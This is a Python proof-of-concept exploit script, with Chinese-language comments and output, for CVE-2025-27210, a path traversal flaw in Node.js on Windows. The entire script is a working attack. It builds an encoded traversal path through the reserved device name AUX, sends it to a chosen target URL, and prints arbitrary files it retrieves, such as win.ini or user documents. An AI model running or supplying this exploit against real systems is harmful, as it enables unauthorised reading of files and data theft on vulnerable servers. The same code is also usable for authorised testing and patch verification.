1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
|
import argparse
import requests
import urllib.parse
import json
import sys
def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:
traverse_sequence = "..\\" * 6
normalized_target_file = target_file.replace("C:", "").lstrip("\\/")
malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}"
encoded_malicious_path = urllib.parse.quote(malicious_path, safe='')
full_url = f"{target_url}/{encoded_malicious_path}"
response_data = {
"target_url": target_url,
"target_file_attempted": target_file,
"malicious_path_sent_raw": malicious_path,
"malicious_path_sent_encoded": encoded_malicious_path,
"full_request_url": full_url,
"http_method": method,
"success": False,
"response_status_code": None,
"response_content_length": None,
"extracted_content": None,
"error_message": None
}
try:
print(f"[*] 准备精确路径遍历利用...")
print(f"[*] 恶意路径(编码后): {encoded_malicious_path}")
print(f"[*] 请求URL: {full_url}")
if method.upper() == 'GET':
response = requests.get(full_url, timeout=15)
elif method.upper() == 'POST':
response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15)
else:
raise ValueError("不支持的HTTP方法。请使用'GET'或'POST'。")
response_data["response_status_code"] = response.status_code
response_data["response_content_length"] = len(response.content)
if response.status_code == 200:
content = response.text
response_data["extracted_content"] = content
if target_file.lower().endswith("win.ini") and "[windows]" in content.lower():
response_data["success"] = True
elif len(content) > 0: # 对于其他文件,只需检查非空内容
response_data["success"] = True
else:
response_data["error_message"] = "收到200 OK响应,但内容为空或不符合预期。"
else:
response_data["error_message"] = f"服务器响应非200状态码: {response.status_code}"
except requests.exceptions.Timeout:
response_data["error_message"] = "请求超时。服务器可能响应缓慢或无响应。"
except requests.exceptions.ConnectionError:
response_data["error_message"] = "连接目标失败。请确保Node.js应用程序正在运行且可访问。"
except ValueError as ve:
response_data["error_message"] = str(ve)
except Exception as e:
response_data["error_message"] = f"发生意外错误: {str(e)}"
return response_data
def main():
parser = argparse.ArgumentParser(
prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py",
description="""
Windows上Node.js精确路径遍历漏洞的概念验证(PoC)(CVE-2025-27210)。
此脚本利用Node.js函数(如path.normalize()或path.join())可能错误处理路径遍历序列中的保留Windows设备文件名(例如CON、AUX)。
""",
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument(
"-t", "--target",
type=str,
required=True,
help="易受攻击的Node.js应用程序端点的基本URL(例如http://localhost:3000/files)。"
)
parser.add_argument(
"-f", "--file",
type=str,
default="C:\\Windows\\win.ini",
help="""Windows系统上目标文件的绝对路径。
示例: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx
"""
)
parser.add_argument(
"-m", "--method",
type=str,
choices=["GET", "POST"],
default="GET",
help="请求的HTTP方法('GET'或'POST')。"
)
args = parser.parse_args()
# --- CLI输出格式化 ---
print("\n" + "="*70)
print(" CVE-2025-27210 Node.js路径遍历漏洞利用PoC")
print("="*70)
print(f"[*] 目标URL: {args.target}")
print(f"[*] 目标文件: {args.file}")
print(f"[*] HTTP方法: {args.method}")
print("-"*70 + "\n")
result = exploit_path_traversal_precise(args.target, args.file, args.method)
print("\n" + "-"*70)
print(" 利用结果")
print("-"*70)
print(f" 请求URL: {result['full_request_url']}")
print(f" 发送的恶意路径(原始): {result['malicious_path_sent_raw']}")
print(f" 发送的恶意路径(编码): {result['malicious_path_sent_encoded']}")
print(f" 响应状态码: {result['response_status_code']}")
print(f" 响应内容长度: {result['response_content_length']} 字节")
if result["success"]:
print("\n [+] 文件成功获取!内容如下:")
print(" " + "="*66)
print(result["extracted_content"])
print(" " + "="*66)
else:
print("\n [-] 文件获取失败或收到意外内容。")
if result["error_message"]:
print(f" 错误: {result['error_message']}")
elif result["extracted_content"]:
print("\n 响应内容(部分,可能表示服务器错误或意外数据):")
print(" " + "-"*66)
# 如果未完全成功,截断长内容
print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"])
print(" " + "-"*66)
print("\n" + "="*70)
print(" 完成")
print("="*70 + "\n")
if __name__ == "__main__":
main()
|